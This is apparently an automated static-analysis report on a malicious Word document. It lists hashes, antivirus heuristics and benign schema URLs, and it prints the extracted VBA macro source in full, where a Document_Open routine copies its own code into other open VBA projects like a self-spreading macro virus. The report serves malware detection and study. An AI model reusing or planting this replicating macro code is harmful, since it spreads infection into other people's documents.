Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0bae3b5ab835bdf2…

MALICIOUS

Office (OLE)

734.5 KB Created: 2016-03-20 13:15:00 Authoring application: Microsoft Office Word First seen: 2016-07-20
MD5: 06cd74a2bbe07bb40afae3e64cb3ff5a SHA-1: d04e74f0d283e49b12f690539bc92a8d0f5bd41f SHA-256: 0bae3b5ab835bdf271b845b47e289b50106e33d2b62bf52d73f560b045507826
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Office document containing VBA macros. The Document_Open macro is present and appears to copy its own code to other VBComponents within the document, a technique used for persistence or evasion. The ClamAV heuristic also flags it as malicious. No external URLs or further payloads were identified in the static analysis.

Heuristics 4

  • ClamAV: Doc.Macro.MaliciousHeuristic-6290327-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MaliciousHeuristic-6290327-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/longPropertiesIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.microsoft.com/sharepoint/v3/contenttype/formsIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/contentTypeIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/In document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/properties/metaAttributesIn document text (OLE body)
    • http://schemas.microsoft.com/office/2006/metadata/propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchemaIn document text (OLE body)
    • http://schemas.openxmlformats.org/package/2006/metadata/core-propertiesIn document text (OLE body)
    • http://www.w3.org/2001/XMLSchema-instanceIn document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://purl.org/dc/terms/In document text (OLE body)
    • http://schemas.microsoft.com/internal/obdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dc.xsdIn document text (OLE body)
    • http://dublincore.org/schemas/xmls/qdc/2003/04/02/dcterms.xsdIn document text (OLE body)
    • http://schemas.microsoft.com/office/infopath/2007/PartnerControlsIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2699 bytes
SHA-256: 487525f60e60ceec14673601ade982832dfda5c6fd52d40e287048422f673bdf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private Sub Document_Open()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub

Private Sub Document_Open1()
Dim MACROTEXT As String
'Dim AA As VBComponent
For I = 1 To VBE.VBProjects.Count
On Error GoTo 11
 P = VBE.VBProjects(I).FileName
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name

 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
 If B = C Then
 Set AA = VBE.VBProjects(I).VBComponents(1)
LOCALLINES = AA.CodeModule.CountOfLines
MACROTEXT = AA.CodeModule.Lines(1, AA.CodeModule.CountOfLines)
 Exit For
 End If

11: Err.Clear
Next I

For I = 1 To VBE.VBProjects.Count
 B = Mid(ThisDocument.Name, 1, InStr(1, ThisDocument.Name, ".") - 1)
 A = VBE.VBProjects(I).VBComponents(1).CodeModule.Parent.Name
On Error GoTo 12
 P = VBE.VBProjects(I).Name
 R = InStrRev(P, "\")
 S = IIf(InStr(1, P, ".") > 0, Len(P) - InStr(1, P, ".") + 1, 0)
 C = Mid(P, R + 1, Len(P) - R - S)
12:
If B <> C And LOCALLINES > VBE.VBProjects(I).VBComponents(1).CodeModule.CountOfLines Then
Err.Clear
Set AA = VBE.VBProjects(I).VBComponents(1)
 AA.CodeModule.AddFromString (MACROTEXT)
  
 End If
Next I

End Sub